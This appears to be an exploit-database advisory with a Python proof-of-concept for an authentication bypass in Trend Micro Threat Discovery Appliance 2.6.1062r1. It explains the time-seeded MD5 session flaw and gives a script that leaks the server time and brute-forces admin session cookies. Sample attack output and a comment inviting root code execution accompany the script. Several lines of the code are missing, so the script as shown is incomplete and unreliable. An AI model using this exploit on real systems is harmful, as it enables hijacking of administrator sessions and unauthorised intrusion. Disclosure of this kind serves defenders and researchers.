Trend Micro Threat Discovery Appliance 2.6.1062r1 Session Generation Authentication Bypass

Trend Micro Threat Discovery Appliance versions 2.6.1062r1 and below suffer from a session generation authentication bypass vulnerability.

MD5 | 005e0bebe474fcf55e7c7e59c977ddc0

Trend Micro Threat Discovery Appliance <= 2.6.1062r1 Session Generation Authentication Bypass Vulnerability
Found by: Roberto Suggi Liverani - @malerisch - & Steven Seeley of Source Incite
File: TDA_InstallationCD.2.6.1062r1.en_US.iso
sha1: 8da4604c92a944ba8f7744641bce932df008f9f9


There exists an authentication bypass vulnerability in the way the Trend Micro Threat Discovery Appliance generates sessions.
The mechanism generates a session based on md5(srand(time())) which is obviously not random enough.

This means an attacker can keep generating the same sessions each second and attempt a protected request, when an admin logs
in, the code will detect a valid session.


What we do is:
1. We leak the servers date header
2. Generate a timestamp using the epoch
3. Go back by 5 minutes
4. Generate session values for each second and attempt a request
5. Fail? GOTO 4 and repeat.

This will catch any last 5 minute logins as well as any future logins using the current ip address of the attacker.
Once a valid session is caught, automatic exploitation of 1/10 other RCE's discovered will give us root, unauthenticated.


- The vulnerable code is in mini_httpd/, please see bug.png for a screenshot of the assembly
- This poc code needs to run on a linux box due to the loading of libc (required since the target is linux)
- This attack will only work if the attacker and the admin have the same IP address. This can occur in several situations:

1. Some sort of proxy for both the attacker and the admin
2. NAT'ed network whereby the admin and attacker share the same IP
3. A typically LAN whereby an admin logins and then disconnects and then an attacker gets the same IP assigned
4. A typical WiFi network whereby an attacker can de-auth his/her victim
5. etc


root@kali:~# ./
(+) usage: ./ <target>
(+) example: ./
root@kali:~# ./
(+) leaking timestamp...
(+) re-winding sessions by 5 minutes...
(+) started session guessing...
(+) identified session: cbdcec1d35552662df5ab36decf34326
(+) attacker can now log with this session!

import sys
import time
import ctypes
import requests
import hashlib
import calendar
import email.utils as eut
from requests.packages.urllib3.exceptions import InsecureRequestWarning

# fix the warnings...

i = 0

def get_timestamp(date):
this function just parses the date http response header string to
generate a time tuple and then a timestamp from the epoch of 1970
return calendar.timegm(eut.parsedate(date))

def leak_server_time():
this function leaks the initial date...
r = requests.get("https://%s/" % target, verify=False)
return r.headers['date']

def check_session(sessid):
here we just valid the generated session
r = requests.get('https://'+target+'/cgi-bin/firmware_updated.cgi', verify=False, cookies={"session_id": sessid })
if "updated" in r.text:
return True
return False

def attack(timestamp):
We take the leaked timestamp and generate a session
by seeding libc's rand() and then md5 the resultant
global i
i += 1

# add an extra second
timestamp += i

# seeding rand()

# md5 the session
m = hashlib.md5()

# so called, rand...

# our session
return m.hexdigest()

def main():
The start of the pain train
global target, libc

# the foo sauce
libc = ctypes.CDLL('')

if len(sys.argv) != 2:
print "(+) usage: %s <target>" % sys.argv[0]
print "(+) example: %s" % sys.argv[0]

target = sys.argv[1]
print "(+) leaking timestamp..."
ts = get_timestamp(leak_server_time())
print "(+) re-winding sessions by 5 minutes..."

# last 5 minutes, since a session last 6 minutes...
ts = ts - (5*60)
print "(+) started session guessing..."

while True:
attempt = attack(ts)
c = check_session(attempt)
if c == True:
# do your evil things here, like get rce as root!
print "(+) identified session: %s " % attempt
print "(+) attacker can now log with this session!"

if __name__ == '__main__':

Related Posts